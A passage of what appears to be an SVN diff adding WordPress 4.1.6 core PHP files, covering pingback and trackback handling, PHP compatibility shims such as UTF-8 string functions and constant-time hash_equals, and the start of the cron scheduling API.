+	while ($ping = $wpdb->get_row("SELECT ID, post_content, meta_id FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_pingme' LIMIT 1")) {
+		delete_metadata_by_mid( 'post', $ping->meta_id );
+		pingback( $ping->post_content, $ping->ID );
+	}
+
+	// Do Enclosures
+	while ($enclosure = $wpdb->get_row("SELECT ID, post_content, meta_id FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_encloseme' LIMIT 1")) {
+		delete_metadata_by_mid( 'post', $enclosure->meta_id );
+		do_enclose( $enclosure->post_content, $enclosure->ID );
+	}
+
+	// Do Trackbacks
+	$trackbacks = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE to_ping <> '' AND post_status = 'publish'");
+	if ( is_array($trackbacks) )
+		foreach ( $trackbacks as $trackback )
+			do_trackbacks($trackback);
+
+	//Do Update Services/Generic Pings
+	generic_ping();
+}
+
+/**
+ * Perform trackbacks.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $post_id Post ID to do trackbacks on.
+ */
+function do_trackbacks($post_id) {
+	global $wpdb;
+
+	$post = get_post( $post_id );
+	$to_ping = get_to_ping($post_id);
+	$pinged  = get_pung($post_id);
+	if ( empty($to_ping) ) {
+		$wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
+		return;
+	}
+
+	if ( empty($post->post_excerpt) ) {
+		/** This filter is documented in wp-includes/post-template.php */
+		$excerpt = apply_filters( 'the_content', $post->post_content, $post->ID );
+	} else {
+		/** This filter is documented in wp-includes/post-template.php */
+		$excerpt = apply_filters( 'the_excerpt', $post->post_excerpt );
+	}
+
+	$excerpt = str_replace(']]>', ']]&gt;', $excerpt);
+	$excerpt = wp_html_excerpt($excerpt, 252, '&#8230;');
+
+	/** This filter is documented in wp-includes/post-template.php */
+	$post_title = apply_filters( 'the_title', $post->post_title, $post->ID );
+	$post_title = strip_tags($post_title);
+
+	if ( $to_ping ) {
+		foreach ( (array) $to_ping as $tb_ping ) {
+			$tb_ping = trim($tb_ping);
+			if ( !in_array($tb_ping, $pinged) ) {
+				trackback($tb_ping, $post_title, $excerpt, $post_id);
+				$pinged[] = $tb_ping;
+			} else {
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $tb_ping, $post_id) );
+			}
+		}
+	}
+}
+
+/**
+ * Sends pings to all of the ping site services.
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_id Post ID.
+ * @return int Same as Post ID from parameter
+ */
+function generic_ping( $post_id = 0 ) {
+	$services = get_option('ping_sites');
+
+	$services = explode("\n", $services);
+	foreach ( (array) $services as $service ) {
+		$service = trim($service);
+		if ( '' != $service )
+			weblog_ping($service);
+	}
+
+	return $post_id;
+}
+
+/**
+ * Pings back the links found in a post.
+ *
+ * @since 0.71
+ * @uses $wp_version
+ *
+ * @param string $content Post content to check for links.
+ * @param int $post_ID Post ID.
+ */
+function pingback($content, $post_ID) {
+	global $wp_version;
+	include_once(ABSPATH . WPINC . '/class-IXR.php');
+	include_once(ABSPATH . WPINC . '/class-wp-http-ixr-client.php');
+
+	// original code by Mort (http://mort.mine.nu:8080)
+	$post_links = array();
+
+	$pung = get_pung($post_ID);
+
+	// Step 1
+	// Parsing the post, external links (if any) are stored in the $post_links array
+	$post_links_temp = wp_extract_urls( $content );
+
+	// Step 2.
+	// Walking thru the links array
+	// first we get rid of links pointing to sites, not to specific files
+	// Example:
+	// http://dummy-weblog.org
+	// http://dummy-weblog.org/
+	// http://dummy-weblog.org/post.php
+	// We don't wanna ping first and second types, even if they have a valid <link/>
+
+	foreach ( (array) $post_links_temp as $link_test ) :
+		if ( !in_array($link_test, $pung) && (url_to_postid($link_test) != $post_ID) // If we haven't pung it already and it isn't a link to itself
+				&& !is_local_attachment($link_test) ) : // Also, let's never ping local attachments.
+			if ( $test = @parse_url($link_test) ) {
+				if ( isset($test['query']) )
+					$post_links[] = $link_test;
+				elseif ( isset( $test['path'] ) && ( $test['path'] != '/' ) && ( $test['path'] != '' ) )
+					$post_links[] = $link_test;
+			}
+		endif;
+	endforeach;
+
+	$post_links = array_unique( $post_links );
+	/**
+	 * Fires just before pinging back links found in a post.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array &$post_links An array of post links to be checked, passed by reference.
+	 * @param array &$pung       Whether a link has already been pinged, passed by reference.
+	 * @param int   $post_ID     The post ID.
+	 */
+	do_action_ref_array( 'pre_ping', array( &$post_links, &$pung, $post_ID ) );
+
+	foreach ( (array) $post_links as $pagelinkedto ) {
+		$pingback_server_url = discover_pingback_server_uri( $pagelinkedto );
+
+		if ( $pingback_server_url ) {
+			@ set_time_limit( 60 );
+			// Now, the RPC call
+			$pagelinkedfrom = get_permalink($post_ID);
+
+			// using a timeout of 3 seconds should be enough to cover slow servers
+			$client = new WP_HTTP_IXR_Client($pingback_server_url);
+			$client->timeout = 3;
+			/**
+			 * Filter the user agent sent when pinging-back a URL.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $concat_useragent    The user agent concatenated with ' -- WordPress/'
+			 *                                    and the WordPress version.
+			 * @param string $useragent           The useragent.
+			 * @param string $pingback_server_url The server URL being linked to.
+			 * @param string $pagelinkedto        URL of page linked to.
+			 * @param string $pagelinkedfrom      URL of page linked from.
+			 */
+			$client->useragent = apply_filters( 'pingback_useragent', $client->useragent . ' -- WordPress/' . $wp_version, $client->useragent, $pingback_server_url, $pagelinkedto, $pagelinkedfrom );
+			// when set to true, this outputs debug messages by itself
+			$client->debug = false;
+
+			if ( $client->query('pingback.ping', $pagelinkedfrom, $pagelinkedto) || ( isset($client->error->code) && 48 == $client->error->code ) ) // Already registered
+				add_ping( $post_ID, $pagelinkedto );
+		}
+	}
+}
+
+/**
+ * Check whether blog is public before returning sites.
+ *
+ * @since 2.1.0
+ *
+ * @param mixed $sites Will return if blog is public, will not return if not public.
+ * @return mixed Empty string if blog is not public, returns $sites, if site is public.
+ */
+function privacy_ping_filter($sites) {
+	if ( '0' != get_option('blog_public') )
+		return $sites;
+	else
+		return '';
+}
+
+/**
+ * Send a Trackback.
+ *
+ * Updates database when sending trackback to prevent duplicates.
+ *
+ * @since 0.71
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $trackback_url URL to send trackbacks.
+ * @param string $title Title of post.
+ * @param string $excerpt Excerpt of post.
+ * @param int $ID Post ID.
+ * @return mixed Database query from update.
+ */
+function trackback($trackback_url, $title, $excerpt, $ID) {
+	global $wpdb;
+
+	if ( empty($trackback_url) )
+		return;
+
+	$options = array();
+	$options['timeout'] = 4;
+	$options['body'] = array(
+		'title' => $title,
+		'url' => get_permalink($ID),
+		'blog_name' => get_option('blogname'),
+		'excerpt' => $excerpt
+	);
+
+	$response = wp_safe_remote_post( $trackback_url, $options );
+
+	if ( is_wp_error( $response ) )
+		return;
+
+	$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET pinged = CONCAT(pinged, '\n', %s) WHERE ID = %d", $trackback_url, $ID) );
+	return $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $trackback_url, $ID) );
+}
+
+/**
+ * Send a pingback.
+ *
+ * @since 1.2.0
+ * @uses $wp_version
+ *
+ * @param string $server Host of blog to connect to.
+ * @param string $path Path to send the ping.
+ */
+function weblog_ping($server = '', $path = '') {
+	global $wp_version;
+	include_once(ABSPATH . WPINC . '/class-IXR.php');
+	include_once(ABSPATH . WPINC . '/class-wp-http-ixr-client.php');
+
+	// using a timeout of 3 seconds should be enough to cover slow servers
+	$client = new WP_HTTP_IXR_Client($server, ((!strlen(trim($path)) || ('/' == $path)) ? false : $path));
+	$client->timeout = 3;
+	$client->useragent .= ' -- WordPress/'.$wp_version;
+
+	// when set to true, this outputs debug messages by itself
+	$client->debug = false;
+	$home = trailingslashit( home_url() );
+	if ( !$client->query('weblogUpdates.extendedPing', get_option('blogname'), $home, get_bloginfo('rss2_url') ) ) // then try a normal ping
+		$client->query('weblogUpdates.ping', get_option('blogname'), $home);
+}
+
+/**
+ * Default filter attached to pingback_ping_source_uri to validate the pingback's Source URI
+ *
+ * @since 3.5.1
+ * @see wp_http_validate_url()
+ *
+ * @param string $source_uri
+ * @return string
+ */
+function pingback_ping_source_uri( $source_uri ) {
+	return (string) wp_http_validate_url( $source_uri );
+}
+
+/**
+ * Default filter attached to xmlrpc_pingback_error.
+ *
+ * Returns a generic pingback error code unless the error code is 48,
+ * which reports that the pingback is already registered.
+ *
+ * @since 3.5.1
+ * @link http://www.hixie.ch/specs/pingback/pingback#TOC3
+ *
+ * @param IXR_Error $ixr_error
+ * @return IXR_Error
+ */
+function xmlrpc_pingback_error( $ixr_error ) {
+	if ( $ixr_error->code === 48 )
+		return $ixr_error;
+	return new IXR_Error( 0, '' );
+}
+
+//
+// Cache
+//
+
+/**
+ * Removes comment ID from the comment cache.
+ *
+ * @since 2.3.0
+ *
+ * @param int|array $ids Comment ID or array of comment IDs to remove from cache
+ */
+function clean_comment_cache($ids) {
+	foreach ( (array) $ids as $id )
+		wp_cache_delete($id, 'comment');
+
+	wp_cache_set( 'last_changed', microtime(), 'comment' );
+}
+
+/**
+ * Updates the comment cache of given comments.
+ *
+ * Will add the comments in $comments to the cache. If comment ID already exists
+ * in the comment cache then it will not be updated. The comment is added to the
+ * cache using the comment group with the key using the ID of the comments.
+ *
+ * @since 2.3.0
+ *
+ * @param array $comments Array of comment row objects
+ */
+function update_comment_cache($comments) {
+	foreach ( (array) $comments as $comment )
+		wp_cache_add($comment->comment_ID, $comment, 'comment');
+}
+
+//
+// Internal
+//
+
+/**
+ * Close comments on old posts on the fly, without any extra DB queries. Hooked to the_posts.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param object $posts Post data object.
+ * @param object $query Query object.
+ * @return object
+ */
+function _close_comments_for_old_posts( $posts, $query ) {
+	if ( empty( $posts ) || ! $query->is_singular() || ! get_option( 'close_comments_for_old_posts' ) )
+		return $posts;
+
+	/**
+	 * Filter the list of post types to automatically close comments for.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array $post_types An array of registered post types. Default array with 'post'.
+	 */
+	$post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) );
+	if ( ! in_array( $posts[0]->post_type, $post_types ) )
+		return $posts;
+
+	$days_old = (int) get_option( 'close_comments_days_old' );
+	if ( ! $days_old )
+		return $posts;
+
+	if ( time() - strtotime( $posts[0]->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) {
+		$posts[0]->comment_status = 'closed';
+		$posts[0]->ping_status = 'closed';
+	}
+
+	return $posts;
+}
+
+/**
+ * Close comments on an old post. Hooked to comments_open and pings_open.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param bool $open Comments open or closed
+ * @param int $post_id Post ID
+ * @return bool $open
+ */
+function _close_comments_for_old_post( $open, $post_id ) {
+	if ( ! $open )
+		return $open;
+
+	if ( !get_option('close_comments_for_old_posts') )
+		return $open;
+
+	$days_old = (int) get_option('close_comments_days_old');
+	if ( !$days_old )
+		return $open;
+
+	$post = get_post($post_id);
+
+	/** This filter is documented in wp-includes/comment.php */
+	$post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) );
+	if ( ! in_array( $post->post_type, $post_types ) )
+		return $open;
+
+	if ( time() - strtotime( $post->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) )
+		return false;
+
+	return $open;
+}
Index: /tags/4.1.6/src/wp-includes/compat.php
===================================================================
--- /tags/4.1.6/src/wp-includes/compat.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/compat.php	(revision 33402)
@@ -0,0 +1,249 @@
+<?php
+/**
+ * WordPress implementation for PHP functions either missing from older PHP versions or not included by default.
+ *
+ * @package PHP
+ * @access private
+ */
+
+// If gettext isn't available
+if ( !function_exists('_') ) {
+	function _($string) {
+		return $string;
+	}
+}
+
+/**
+ * Returns whether PCRE/u (PCRE_UTF8 modifier) is available for use.
+ *
+ * @ignore
+ * @since 4.2.2
+ * @access private
+ *
+ * @param bool $set - Used for testing only
+ *             null   : default - get PCRE/u capability
+ *             false  : Used for testing - return false for future calls to this function
+ *             'reset': Used for testing - restore default behavior of this function
+ */
+function _wp_can_use_pcre_u( $set = null ) {
+	static $utf8_pcre = 'reset';
+
+	if ( null !== $set ) {
+		$utf8_pcre = $set;
+	}
+
+	if ( 'reset' === $utf8_pcre ) {
+		$utf8_pcre = @preg_match( '/^./u', 'a' );
+	}
+
+	return $utf8_pcre;
+}
+
+if ( ! function_exists( 'mb_substr' ) ) :
+	function mb_substr( $str, $start, $length = null, $encoding = null ) {
+		return _mb_substr( $str, $start, $length, $encoding );
+	}
+endif;
+
+/*
+ * Only understands UTF-8 and 8bit.  All other character sets will be treated as 8bit.
+ * For $encoding === UTF-8, the $str input is expected to be a valid UTF-8 byte sequence.
+ * The behavior of this function for invalid inputs is undefined.
+ */
+function _mb_substr( $str, $start, $length = null, $encoding = null ) {
+	if ( null === $encoding ) {
+		$encoding = get_option( 'blog_charset' );
+	}
+
+	// The solution below works only for UTF-8,
+	// so in case of a different charset just use built-in substr()
+	if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) ) {
+		return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length );
+	}
+
+	if ( _wp_can_use_pcre_u() ) {
+		// Use the regex unicode support to separate the UTF-8 characters into an array
+		preg_match_all( '/./us', $str, $match );
+		$chars = is_null( $length ) ? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length );
+		return implode( '', $chars );
+	}
+
+	$regex = '/(
+		  [\x00-\x7F]                  # single-byte sequences   0xxxxxxx
+		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
+		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
+		| [\xE1-\xEC][\x80-\xBF]{2}
+		| \xED[\x80-\x9F][\x80-\xBF]
+		| [\xEE-\xEF][\x80-\xBF]{2}
+		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
+		| [\xF1-\xF3][\x80-\xBF]{3}
+		| \xF4[\x80-\x8F][\x80-\xBF]{2}
+	)/x';
+
+	$chars = array( '' ); // Start with 1 element instead of 0 since the first thing we do is pop
+	do {
+		// We had some string left over from the last round, but we counted it in that last round.
+		array_pop( $chars );
+
+		// Split by UTF-8 character, limit to 1000 characters (last array element will contain the rest of the string)
+		$pieces = preg_split( $regex, $str, 1000, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY );
+
+		$chars = array_merge( $chars, $pieces );
+	} while ( count( $pieces ) > 1 && $str = array_pop( $pieces ) ); // If there's anything left over, repeat the loop.
+
+	return join( '', array_slice( $chars, $start, $length ) );
+}
+
+if ( ! function_exists( 'mb_strlen' ) ) :
+	function mb_strlen( $str, $encoding = null ) {
+		return _mb_strlen( $str, $encoding );
+	}
+endif;
+
+/*
+ * Only understands UTF-8 and 8bit.  All other character sets will be treated as 8bit.
+ * For $encoding === UTF-8, the $str input is expected to be a valid UTF-8 byte sequence.
+ * The behavior of this function for invalid inputs is undefined.
+ */
+function _mb_strlen( $str, $encoding = null ) {
+	if ( null === $encoding ) {
+		$encoding = get_option( 'blog_charset' );
+	}
+
+	// The solution below works only for UTF-8,
+	// so in case of a different charset just use built-in strlen()
+	if ( ! in_array( $encoding, array( 'utf8', 'utf-8', 'UTF8', 'UTF-8' ) ) ) {
+		return strlen( $str );
+	}
+
+	if ( _wp_can_use_pcre_u() ) {
+		// Use the regex unicode support to separate the UTF-8 characters into an array
+		preg_match_all( '/./us', $str, $match );
+		return count( $match[0] );
+	}
+
+	$regex = '/(?:
+		  [\x00-\x7F]                  # single-byte sequences   0xxxxxxx
+		| [\xC2-\xDF][\x80-\xBF]       # double-byte sequences   110xxxxx 10xxxxxx
+		| \xE0[\xA0-\xBF][\x80-\xBF]   # triple-byte sequences   1110xxxx 10xxxxxx * 2
+		| [\xE1-\xEC][\x80-\xBF]{2}
+		| \xED[\x80-\x9F][\x80-\xBF]
+		| [\xEE-\xEF][\x80-\xBF]{2}
+		| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
+		| [\xF1-\xF3][\x80-\xBF]{3}
+		| \xF4[\x80-\x8F][\x80-\xBF]{2}
+	)/x';
+
+	$count = 1; // Start at 1 instead of 0 since the first thing we do is decrement
+	do {
+		// We had some string left over from the last round, but we counted it in that last round.
+		$count--;
+
+		// Split by UTF-8 character, limit to 1000 characters (last array element will contain the rest of the string)
+		$pieces = preg_split( $regex, $str, 1000 );
+
+		// Increment
+		$count += count( $pieces );
+	} while ( $str = array_pop( $pieces ) ); // If there's anything left over, repeat the loop.
+
+	// Fencepost: preg_split() always returns one extra item in the array
+	return --$count;
+}
+
+if ( !function_exists('hash_hmac') ):
+function hash_hmac($algo, $data, $key, $raw_output = false) {
+	return _hash_hmac($algo, $data, $key, $raw_output);
+}
+endif;
+
+function _hash_hmac($algo, $data, $key, $raw_output = false) {
+	$packs = array('md5' => 'H32', 'sha1' => 'H40');
+
+	if ( !isset($packs[$algo]) )
+		return false;
+
+	$pack = $packs[$algo];
+
+	if (strlen($key) > 64)
+		$key = pack($pack, $algo($key));
+
+	$key = str_pad($key, 64, chr(0));
+
+	$ipad = (substr($key, 0, 64) ^ str_repeat(chr(0x36), 64));
+	$opad = (substr($key, 0, 64) ^ str_repeat(chr(0x5C), 64));
+
+	$hmac = $algo($opad . pack($pack, $algo($ipad . $data)));
+
+	if ( $raw_output )
+		return pack( $pack, $hmac );
+	return $hmac;
+}
+
+if ( !function_exists('json_encode') ) {
+	function json_encode( $string ) {
+		global $wp_json;
+
+		if ( !is_a($wp_json, 'Services_JSON') ) {
+			require_once( ABSPATH . WPINC . '/class-json.php' );
+			$wp_json = new Services_JSON();
+		}
+
+		return $wp_json->encodeUnsafe( $string );
+	}
+}
+
+if ( !function_exists('json_decode') ) {
+	function json_decode( $string, $assoc_array = false ) {
+		global $wp_json;
+
+		if ( !is_a($wp_json, 'Services_JSON') ) {
+			require_once( ABSPATH . WPINC . '/class-json.php' );
+			$wp_json = new Services_JSON();
+		}
+
+		$res = $wp_json->decode( $string );
+		if ( $assoc_array )
+			$res = _json_decode_object_helper( $res );
+		return $res;
+	}
+	function _json_decode_object_helper($data) {
+		if ( is_object($data) )
+			$data = get_object_vars($data);
+		return is_array($data) ? array_map(__FUNCTION__, $data) : $data;
+	}
+}
+
+if ( ! function_exists( 'hash_equals' ) ) :
+/**
+ * Compare two strings in constant time.
+ *
+ * This function was added in PHP 5.6.
+ * It can leak the length of a string.
+ *
+ * @since 3.9.2
+ *
+ * @param string $a Expected string.
+ * @param string $b Actual string.
+ * @return bool Whether strings are equal.
+ */
+function hash_equals( $a, $b ) {
+	$a_length = strlen( $a );
+	if ( $a_length !== strlen( $b ) ) {
+		return false;
+	}
+	$result = 0;
+
+	// Do not attempt to "optimize" this.
+	for ( $i = 0; $i < $a_length; $i++ ) {
+		$result |= ord( $a[ $i ] ) ^ ord( $b[ $i ] );
+	}
+
+	return $result === 0;
+}
+endif;
+
+// JSON_PRETTY_PRINT was introduced in PHP 5.4
+// Defined here to prevent a notice when using it with wp_json_encode()
+if ( ! defined( 'JSON_PRETTY_PRINT' ) ) {
+	define( 'JSON_PRETTY_PRINT', 128 );
+}
Index: /tags/4.1.6/src/wp-includes/cron.php
===================================================================
--- /tags/4.1.6/src/wp-includes/cron.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/cron.php	(revision 33402)
@@ -0,0 +1,470 @@
+<?php
+/**
+ * WordPress CRON API
+ *
+ * @package WordPress
+ */
+
+/**
+ * Schedules a hook to run only once.
+ *
+ * Schedules a hook which will be executed once by the WordPress actions core at
+ * a time which you specify. The action will fire off when someone visits your
+ * WordPress site, if the schedule time has passed.
+ *
+ * @since 2.1.0
+ * @link http://codex.wordpress.org/Function_Reference/wp_schedule_single_event
+ *
+ * @param int $timestamp Timestamp for when to run the event.
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ */
+function wp_schedule_single_event( $timestamp, $hook, $args = array()) {
+	// don't schedule a duplicate if there's already an identical event due within 10 minutes of it
+	$next = wp_next_scheduled($hook, $args);
+	if ( $next && abs( $next - $timestamp ) <= 10 * MINUTE_IN_SECONDS ) {
+		return;
+	}
+
+	$crons = _get_cron_array();
+	$event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => false, 'args' => $args );
+	/**
+	 * Filter a single event before it is scheduled.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param object $event An object containing an event's data.
+	 */
+	$event = apply_filters( 'schedule_event', $event );
+
+	// A plugin disallowed this event
+	if ( ! $event )
+		return false;
+
+	$key = md5(serialize($event->args));
+
+	$crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args );
+	uksort( $crons, "strnatcasecmp" );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Schedule a periodic event.
+ *
+ * Schedules a hook which will be executed by the WordPress actions core on a
+ * specific interval, specified by you. The action will trigger when someone
+ * visits your WordPress site, if the scheduled time has passed.
+ *
+ * Valid values for the recurrence are hourly, daily and twicedaily. These can
+ * be extended using the cron_schedules filter in wp_get_schedules().
+ *
+ * Use wp_next_scheduled() to prevent duplicates
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Timestamp for when to run the event.
+ * @param string $recurrence How often the event should recur.
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return false|null False on failure, null when complete with scheduling event.
+ */
+function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array()) {
+	$crons = _get_cron_array();
+	$schedules = wp_get_schedules();
+
+	if ( !isset( $schedules[$recurrence] ) )
+		return false;
+
+	$event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[$recurrence]['interval'] );
+	/** This filter is documented in wp-includes/cron.php */
+	$event = apply_filters( 'schedule_event', $event );
+
+	// A plugin disallowed this event
+	if ( ! $event )
+		return false;
+
+	$key = md5(serialize($event->args));
+
+	$crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args, 'interval' => $event->interval );
+	uksort( $crons, "strnatcasecmp" );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Reschedule a recurring event.
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Timestamp for when to run the event.
+ * @param string $recurrence How often the event should recur.
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return false|null False on failure. Null when event is rescheduled.
+ */
+function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array() ) {
+	$crons = _get_cron_array();
+	$schedules = wp_get_schedules();
+	$key = md5( serialize( $args ) );
+	$interval = 0;
+
+	// First we try to get it from the schedule
+	if ( isset( $schedules[ $recurrence ] ) ) {
+		$interval = $schedules[ $recurrence ]['interval'];
+	}
+	// Now we try to get it from the saved interval in case the schedule disappears
+	if ( 0 == $interval ) {
+		$interval = $crons[ $timestamp ][ $hook ][ $key ]['interval'];
+	}
+	// Now we assume something is wrong and fail to schedule
+	if ( 0 == $interval ) {
+		return false;
+	}
+
+	$now = time();
+
+	if ( $timestamp >= $now ) {
+		$timestamp = $now + $interval;
+	} else {
+		$timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) );
+	}
+
+	wp_schedule_event( $timestamp, $recurrence, $hook, $args );
+}
+
+/**
+ * Unschedule a previously scheduled cron job.
+ *
+ * The $timestamp and $hook parameters are required, so that the event can be
+ * identified.
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Timestamp for when to run the event.
+ * @param string $hook Action hook, the execution of which will be unscheduled.
+ * @param array $args Arguments to pass to the hook's callback function.
+ * Although not passed to a callback function, these arguments are used
+ * to uniquely identify the scheduled event, so they should be the same
+ * as those used when originally scheduling the event.
+ */
+function wp_unschedule_event( $timestamp, $hook, $args = array() ) {
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	unset( $crons[$timestamp][$hook][$key] );
+	if ( empty($crons[$timestamp][$hook]) )
+		unset( $crons[$timestamp][$hook] );
+	if ( empty($crons[$timestamp]) )
+		unset( $crons[$timestamp] );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Unschedule all cron jobs attached to a specific hook.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook, the execution of which will be unscheduled.
+ * @param array $args Optional. Arguments that were to be pass to the hook's callback function.
+ */
+function wp_clear_scheduled_hook( $hook, $args = array() ) {
+	// Backward compatibility
+	// Previously this function took the arguments as discrete vars rather than an array like the rest of the API
+	if ( !is_array($args) ) {
+		_deprecated_argument( __FUNCTION__, '3.0', __('This argument has changed to an array to match the behavior of the other cron functions.') );
+		$args = array_slice( func_get_args(), 1 );
+	}
+
+	// This logic duplicates wp_next_scheduled()
+	// It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing,
+	// and, wp_next_scheduled() returns the same schedule in an infinite loop.
+	$crons = _get_cron_array();
+	if ( empty( $crons ) )
+		return;
+
+	$key = md5( serialize( $args ) );
+	foreach ( $crons as $timestamp => $cron ) {
+		if ( isset( $cron[ $hook ][ $key ] ) ) {
+			wp_unschedule_event( $timestamp, $hook, $args );
+		}
+	}
+}
+
+/**
+ * Retrieve the next timestamp for a cron event.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return bool|int The UNIX timestamp of the next time the scheduled event will occur.
+ */
+function wp_next_scheduled( $hook, $args = array() ) {
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	if ( empty($crons) )
+		return false;
+	foreach ( $crons as $timestamp => $cron ) {
+		if ( isset( $cron[$hook][$key] ) )
+			return $timestamp;
+	}
+	return false;
+}
+
+/**
+ * Send request to run cron through HTTP request that doesn't halt page loading.
+ *
+ * @since 2.1.0
+ *
+ * @return null Cron could not be spawned, because it is not needed to run.
+ */
+function spawn_cron( $gmt_time = 0 ) {
+
+	if ( ! $gmt_time )
+		$gmt_time = microtime( true );
+
+	if ( defined('DOING_CRON') || isset($_GET['doing_wp_cron']) )
+		return;
+
+	/*
+	* multiple processes on multiple web servers can run this code concurrently
+	* try to make this as atomic as possible by setting doing_cron switch
+	*/
+	$lock = get_transient('doing_cron');
+
+	if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS )
+		$lock = 0;
+
+	// don't run if another process is currently running it or more than once every 60 sec.
+	if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time )
+		return;
+
+	//sanity check
+	$crons = _get_cron_array();
+	if ( !is_array($crons) )
+		return;
+
+	$keys = array_keys( $crons );
+	if ( isset($keys[0]) && $keys[0] > $gmt_time )
+		return;
+
+	if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
+		if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) ||  defined( 'XMLRPC_REQUEST' ) ) {
+			return;
+		}
+
+		$doing_wp_cron = sprintf( '%.22F', $gmt_time );
+		set_transient( 'doing_cron', $doing_wp_cron );
+
+		ob_start();
+		wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+		echo ' ';
+
+		// flush any buffers and send the headers
+		while ( @ob_end_flush() );
+		flush();
+
+		WP_DEBUG ? include_once( ABSPATH . 'wp-cron.php' ) : @include_once( ABSPATH . 'wp-cron.php' );
+		return;
+	}
+
+	$doing_wp_cron = sprintf( '%.22F', $gmt_time );
+	set_transient( 'doing_cron', $doing_wp_cron );
+
+	/**
+	 * Filter the cron request arguments.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $cron_request_array {
+	 *     An array of cron request URL arguments.
+	 *
+	 *     @type string $url  The cron request URL.
+	 *     @type int    $key  The 22 digit GMT microtime.
+	 *     @type array  $args {
+	 *         An array of cron request arguments.
+	 *
+	 *         @type int  $timeout   The request timeout in seconds. Default .01 seconds.
+	 *         @type bool $blocking  Whether to set blocking for the request. Default false.
+	 *         @type bool $sslverify Whether SSL should be verified for the request. Default false.
+	 *     }
+	 * }
+	 */
+	$cron_request = apply_filters( 'cron_request', array(
+		'url'  => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ),
+		'key'  => $doing_wp_cron,
+		'args' => array(
+			'timeout'   => 0.01,
+			'blocking'  => false,
+			/** This filter is documented in wp-includes/class-http.php */
+			'sslverify' => apply_filters( 'https_local_ssl_verify', false )
+		)
+	) );
+
+	wp_remote_post( $cron_request['url'], $cron_request['args'] );
+}
+
+/**
+ * Run scheduled callbacks or spawn cron for all scheduled events.
+ *
+ * @since 2.1.0
+ *
+ * @return null When doesn't need to run Cron.
+ */
+function wp_cron() {
+
+	// Prevent infinite loops caused by lack of wp-cron.php
+	if ( strpos($_SERVER['REQUEST_URI'], '/wp-cron.php') !== false || ( defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ) )
+		return;
+
+	if ( false === $crons = _get_cron_array() )
+		return;
+
